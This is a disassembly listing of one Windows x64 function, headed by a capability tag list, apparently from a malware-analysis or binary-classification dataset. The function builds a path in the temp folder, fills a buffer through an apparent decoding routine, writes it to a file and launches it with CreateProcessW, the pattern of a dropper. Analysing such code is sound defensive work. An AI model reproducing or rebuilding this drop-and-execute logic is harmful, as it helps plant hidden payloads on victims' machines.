Function at 0x1400013f0
Capabilities:
Create directory
Create process on windows
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov dword [rsp + 0x18], r8d
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rdi
sub rsp, 0x340
lea rax, [rsp + 0xc0]
mov rdi, rax
xor eax, eax
mov ecx, 0x68
rep stosb byte [rdi], al
lea rax, [rsp + 0xa0]
mov rdi, rax
xor eax, eax
mov ecx, 0x18
rep stosb byte [rdi], al
mov dword [rsp + 0x80], 0
lea rax, [rsp + 0x130]
mov rdi, rax
xor eax, eax
mov ecx, 0x208
rep stosb byte [rdi], al
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x90], 0
mov dword [rsp + 0x70], 0
mov qword [rsp + 0x88], 0
mov qword [rsp + 0x98], 0
lea rdx, [rsp + 0x130]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea rax, [rsp + 0x130]
mov qword [rsp + 0x50], rax
sub qword [rsp + 0x50], 2
add qword [rsp + 0x50], 2
mov rax, qword [rsp + 0x50]
cmp word [rax], 0
jne 0x1400014ad
mov rax, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x358]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x1400014cd
xor edx, edx
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x130]
mov qword [rsp + 0x58], rax
sub qword [rsp + 0x58], 2
add qword [rsp + 0x58], 2
mov rax, qword [rsp + 0x58]
cmp word [rax], 0
jne 0x140001500
mov rax, qword [rsp + 0x58]
mov rcx, qword [rsp + 0x358]
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x140001520
cmp dword [rsp + 0x368], 0
je 0x14000157e
lea rax, [rsp + 0x130]
mov qword [rsp + 0x60], rax
sub qword [rsp + 0x60], 2
add qword [rsp + 0x60], 2
mov rax, qword [rsp + 0x60]
cmp word [rax], 0
jne 0x14000154d
mov rax, qword [rsp + 0x60]
lea rcx, str.dkwofjeiwucuinswncs
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x14000156c
jmp 0x1400015c0
lea rax, [rsp + 0x130]
mov qword [rsp + 0x68], rax
sub qword [rsp + 0x68], 2
add qword [rsp + 0x68], 2
mov rax, qword [rsp + 0x68]
cmp word [rax], 0
jne 0x140001591
mov rax, qword [rsp + 0x68]
lea rcx, str.fsdkioajfuiewfwwss
xor edx, edx
movzx edi, word [rcx + rdx*2]
mov word [rax + rdx*2], di
inc rdx
test di, di
jne 0x1400015b0
mov r8d, 0x2328
mov edx, 8
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcessHeap]
call qword [sym.imp.KERNEL32.dll_HeapAlloc]
mov qword [rsp + 0x78], rax
mov eax, dword [rsp + 0x70]
mov r9, qword [str.jujuun]
mov r8d, eax
mov rdx, qword [rsp + 0x90]
mov rcx, qword [rsp + 0x78]
call section..text
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 7
mov edx, 0xc0000000
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x88], rax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x80]
mov r8d, dword [rsp + 0x70]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rsp + 0x78]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp dword [rsp + 0x360], 0
je 0x1400016c9
cmp dword [rsp + 0x368], 0
je 0x1400016b3
lea rcx, [rsp + 0x130]
call fcn.1400012c0
cmp eax, 0x20
jle 0x1400016b1
xor eax, eax
jmp 0x140001728
jmp 0x1400016c9
lea rcx, [rsp + 0x130]
call fcn.140001360
cmp eax, 0x20
jle 0x1400016c9
xor eax, eax
jmp 0x140001728
mov dword [rsp + 0xc0], 0x68
lea rax, [rsp + 0xa0]
mov qword [rsp + 0x48], rax
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [rsp + 0x130]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
add rsp, 0x340
pop rdi
ret